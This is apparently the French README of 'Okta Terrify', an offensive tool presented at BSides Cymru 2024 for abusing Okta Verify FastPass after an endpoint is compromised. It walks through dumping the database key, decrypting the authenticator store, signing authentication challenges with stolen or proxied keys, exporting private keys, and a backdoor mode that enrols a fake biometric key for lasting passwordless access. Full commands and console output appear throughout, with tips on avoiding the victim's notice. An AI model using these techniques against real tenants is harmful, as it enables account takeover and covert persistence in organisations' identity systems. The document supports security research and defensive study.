Cet outil a été publié dans le cadre de ma conférence BSides Cymru 2024, Okta Terrify : Persistence in a Passwordless World. La présentation et la vidéo de démonstration ont été incluses dans ce référentiel.
Okta Terrify est un outil permettant de démontrer comment les solutions sans mot de passe telles que FastPass d'Okta Verify ou d'autres solutions de type FIDO2/WebAuthn peuvent être utilisées à mauvais escient une fois qu'un point de terminaison d'authentificateur a été compromis. Bien qu'Okta Terrify présente des attaques spécifiques à Okta, la même méthodologie s'appliquerait généralement à d'autres solutions sans mot de passe, car elles exploitent généralement toutes la cryptographie asymétrique.
L'authentification sans mot de passe fonctionne via des paires de clés publique/privée. En règle générale, il existe deux types de clés générées lors de l'inscription de l'authentificateur : Proof Of Possession
et User Verification
. Combinées, les deux clés satisfont à l’élément d’authentification multifactoriel que les organisations recherchent dans le cadre des efforts continus visant à protéger leurs utilisateurs.
La clé de preuve de possession est conçue pour faire exactement cela, prouver la présence d'un authentificateur et/ou d'un utilisateur spécifique lors de l'authentification. Dans le cas d'Okta, la clé de preuve de possession est utilisée pour déterminer la présence à la fois de l'authentificateur et de l'utilisateur, car dans les scénarios multi-utilisateurs, des clés de preuve de possession uniques sont générées par utilisateur. La clé de preuve de possession est généralement une clé silencieuse, qui ne nécessite aucune forme de données biométriques pour déverrouiller son utilisation au-delà de celle du système d'exploitation lui-même, comme une session utilisateur Windows authentifiée. Lorsqu'elle est disponible, cette clé sera sauvegardée par un TPM et ne pourra donc pas être exportée depuis l'appareil. Lorsqu’un TPM n’est pas disponible, cette clé est générée en tant que clé logicielle uniquement.
La clé de vérification de l'utilisateur fournit également une preuve de possession, mais vérifie en outre que l'utilisateur est effectivement conscient que l'authentification est en cours. Ceci est réalisé grâce à des données biométriques, souvent une empreinte digitale ou une reconnaissance faciale, mais elles sont également sauvegardées par un code PIN. Sur les appareils Windows, cela est généralement implémenté à l’aide de Windows Hello. Les opérations de signature ne fonctionneront pas sans les données biométriques correctes fournies. Certaines solutions sans mot de passe utiliseront uniquement la clé de vérification de l'utilisateur pour satisfaire les deux facteurs. L'inconvénient de cette approche est que chaque opération de signature nécessitera les données biométriques de l'utilisateur. Dans le cas d'Okta, par exemple, la clé de preuve de possession peut être utilisée comme facteur distinct lors de l'authentification, avec un facteur distinct tel que le mot de passe de l'utilisateur. Encore une fois, cette clé est soit soutenue par un TPM lorsqu'elle est disponible, soit générée dans un logiciel dans le cas contraire.
Ok, assez de ces informations sur le sans mot de passe, passons aux bonnes choses. Bien que les mêmes concepts existent sur tous les appareils Okta Verify pris en charge, nous discuterons à partir de maintenant du fonctionnement de la version Windows d'Okta Verify.
Okta stocke les informations d'authentification dans une base de données SQLite cryptée. Il existe deux versions de base de données différentes, la version héritée stockée dans un fichier appelé OVStore.db
qui utilise le SID de l'utilisateur comme base de la clé de cryptage transmise via un algorithme XOR personnalisé et une clé fixe. La version la plus récente s'appelle DataStore.db
et utilise une valeur aléatoire stockée dans le gestionnaire d'informations d'identification. Ces informations d'identification sont transmises via un algorithme XOR similaire à celui du format existant. La base de données est stockée dans %LocalAppData%OktaOktaVerify
. La base de données contient les identifiants de clé générés pour la preuve de possession et la clé de vérification de l'utilisateur qui sont générés lors de l'inscription de l'appareil. La base de données contient également d'autres métadonnées utiles, telles que les identifiants d'appareil, d'utilisateur et d'authentifiant, ainsi que l'URL du locataire Okta pour les comptes enregistrés.
Okta Terrify est divisé en deux composants distincts. Okta Terrify et OktaInk.
Okta Terrify est conçu pour s'exécuter sur la machine des attaquants. L'outil nécessite le SID de l'utilisateur et un fichier de base de données au format de base de données existant et, pour le format plus récent, la clé de base de données. Pour le format le plus récent, la clé de base de données peut être générée à l'aide d'OktaInk. Okta Terrify dispose de 4 modes de fonctionnement contrôlés via différents commutateurs.
Le mode --info
vide simplement les informations contenues dans la base de données.
Base de données héritée
OktaTerrify.exe --info -s S-1-5-21-*******-1001 --db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
2023-11-21 11:49:56.2243|INFO|OktaTerrify|Okta Terrify is starting....
C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
Database Encryption Key: 3a9d6ad1643f2608479c976f1a2ebcb98c115c379d8dfaa2bb6ab2c65c286250
User Id: 00u8*******
Client Instance Id: cli*******
Device Id: guo9**********
Authenticator Url: https://tenant.okta.com/api/v1/authenticators/aut*****
Method Enrollment Id: crp*****
Device Enrollment Id: pfd*****
Sandbox Account Name: None
Keys:
Id: SFT_********, Sandboxed: No, Type ProofOfPossession
Id: BOL_********, Sandboxed: No, Type UserVerification
Id: SFT_********, Sandboxed: No, Type DeviceAttestation
Base de données plus récente
OktaTerrify.exe --info -s S-1-5-21-*******-1001 --db C:UsersTesterAppDataLocalOktaOktaVerifyDataStore.db --dbkey a156a0b42c....6dd83f701
2023-11-21 11:49:56.2243|INFO|OktaTerrify|Okta Terrify is starting....
C:UsersTesterAppDataLocalOktaOktaVerifyDataStore.db
Database Encryption Key: 3a9d6ad1643f2608479c976f1a2ebcb98c115c379d8dfaa2bb6ab2c65c286250
User Id: 00u8*******
Client Instance Id: cli*******
Device Id: guo9**********
Authenticator Url: https://tenant.okta.com/api/v1/authenticators/aut*****
Method Enrollment Id: crp*****
Device Enrollment Id: pfd*****
Sandbox Account Name: None
Keys:
Id: SFT_********, Sandboxed: No, Type ProofOfPossession
Id: BOL_********, Sandboxed: No, Type UserVerification
Id: SFT_********, Sandboxed: No, Type DeviceAttestation
En mode --backdoor
, Okta Terrify lancera l'URL du locataire Okta en utilisant l'identifiant client OAuth que l'application officielle Okta Verify utilise lors de l'inscription. Cela déclenchera généralement le flux d'authentification et le mode de signature est actif pendant cette phase. Une fois qu'une session authentifiée est créée, une nouvelle clé de vérification utilisateur est générée sur l'appareil attaquant et est enregistrée comme fausse clé biométrique. Une fois la clé enregistrée, FastPass fonctionnera sans mot de passe, sans aucune dépendance vis-à-vis du dispositif d'authentification d'origine compromis.
OktaTerrify.exe -b -s S-1-5-21-********-1001 -db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db -v
2023-11-21 11:47:10.4741|INFO|OktaTerrify|Okta Terrify is starting....
2023-11-21 11:47:10.5057|INFO|OktaTerrify.Oidc.LoopbackHttpListener|HTTP server listening on loopback ports 8769 65112
[=] Sign the device bind JWT on the enrolled Okta Verify device
OktaInk -o SignDeviceBind -k BOL_************ -d pfd******** -u 00u******** -n bGI******** -t ftt******** -a https://tenant.okta.com -m crp**** -v
[.] Enter DeviceBind JWT:
eyJraW......
2023-11-21 11:47:43.9337|INFO|OktaTerrify|Signed JWT accepted, factor accepted
2023-11-21 11:47:48.5310|INFO|OktaTerrify|Authenticated as user [email protected], enrolling a fake userVerify TPM key
2023-11-21 11:47:48.5464|INFO|OktaTerrify|Generated new fake hardware biometric key and saved to file BD_******.key
[=] I now need the existing userVerification public key
OktaInk -o ExportPublic -k BOL_************
[.] Enter userVerification public key:
nOng....
2023-11-21 11:48:05.1047|INFO|OktaTerrify|Passwordless persistence successful, now running in FastPass mode
2023-11-21 11:48:05.1047|INFO|OktaTerrify|Running in backdoor mode, press ESC to exit
En mode --sign
, lors de l'authentification Okta, les défis sont soit signés localement via des clés exfiltrées, soit ils peuvent être transmis par proxy à OktaInk exécuté sur un authentificateur compromis lorsque des clés matérielles sauvegardées sont présentes.
OktaTerrify.exe --sign -s S-1-5-21-******-1001 -db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
2023-11-21 16:54:33.9386|INFO|OktaTerrify|Okta Terrify is starting....
2023-11-21 16:54:34.0014|INFO|OktaTerrify.Oidc.LoopbackHttpListener|HTTP server listening on loopback ports 8769 65112
2023-11-21 16:54:34.0014|INFO|OktaTerrify|Running in signing mode, press ESC to exit
2023-11-21 16:54:54.7414|WARN|OktaTerrify|!!WARNING!! - Incoming sign request for the user verification key, this will cause a popup on the victim machine to enter user verification PIN/Password because no local key exists. To force generation of user verification key signing, add the -v argument. Falling back to proof of possession key
[=] Sign the device bind JWT on the enrolled Okta Verify device
OktaInk -o SignDeviceBind -k SFT_********** -d pfd***** -u 00u****** -n C7bG****** -t ft4Kw******* -a https://tenant.okta.com -m crp*******
[.] Enter DeviceBind JWT:
eyJra.....
2023-11-24 16:55:10.8214|INFO|OktaTerrify|Signed JWT accepted, factor accepted
Le mode --import
enregistrera la preuve de possession définie par logiciel et les clés de vérification de l'utilisateur qui ont été extraites à l'aide d'Okta Ink.
OktaTerrify --import -k SFT_****** -p UlNBMgAIAAAD....M=
Okta Ink est conçu pour fonctionner sur le périphérique d'authentification compromis. L'application prend en charge 4 types d'opérations.
Pour le format de base de données le plus récent, l' --operation DumpDBKey
peut être utilisée pour vider la clé de base de données du fichier DataStore.db
. La clé peut ensuite être utilisée comme paramètre pour OkaInk.
OktaTerrify --import -k SFT_****** -p UlNBMgAIAAAD....M=
OktaInk -o DumpDBKey
[=] Credential manager key name: OKTA_VERIFY_STORE_ZfH+9F42Ch3X2+dZBFX3FCMtPnctn6lk8MqsCoH/Osc=
[+] DB Key: a156a....83f701
Au cours du flux d'authentification Okta, une réponse de défi JWT est générée pour prouver que la preuve de présence ou la clé de vérification de l'utilisateur est disponible. Le mode --operation SignDeviceBind
peut être utilisé pour signer le JWT généré avec la clé de preuve de possession, qui est silencieuse. Si vous souhaitez effectuer une authentification sans mot de passe, vous pouvez également vous connecter avec la clé de vérification utilisateur en ajoutant l'argument -v
. AVERTISSEMENT - Lors de la demande de la clé de vérification de l'utilisateur, l'utilisateur victime devra effectuer une validation biométrique et pourrait donc éveiller des soupçons.
Okta Verify inscrit également une clé d'attestation de périphérique, qui est une clé silencieuse. Cette clé semble être utilisée lorsque des modifications sont apportées au périphérique d'authentification enregistré via des appels d'API Web contre le locataire Okta. Mais il semble que, par défaut, l'attestation de l'appareil ne soit pas appliquée, la signature n'est donc pas requise. Quoi qu’il en soit, ce mode peut être exploité via les arguments --operation SignDeviceAttestation
.
Pour les appareils qui ne prennent pas en charge un TPM, la ligne de commande --operation ExportPrivate
peut être utilisée pour exporter toutes les clés enregistrées sur l'appareil. Les clés de preuve de possession sont liées à la clé DPAPI de l'utilisateur et le mot de passe de l'utilisateur doit donc être connu.
Au cours du processus d'inscription par porte dérobée, nous devons nous assurer que les clés publiques existantes sont conservées dans les données d'authentification du locataire. --operation ExportPublic
facilite cela en exportant la clé publique associée à un identifiant de clé spécifique.
OktaInk -o ExportPublic -k BOL_******************
nOngWn_Bd8IH_8GJTjGeXpf....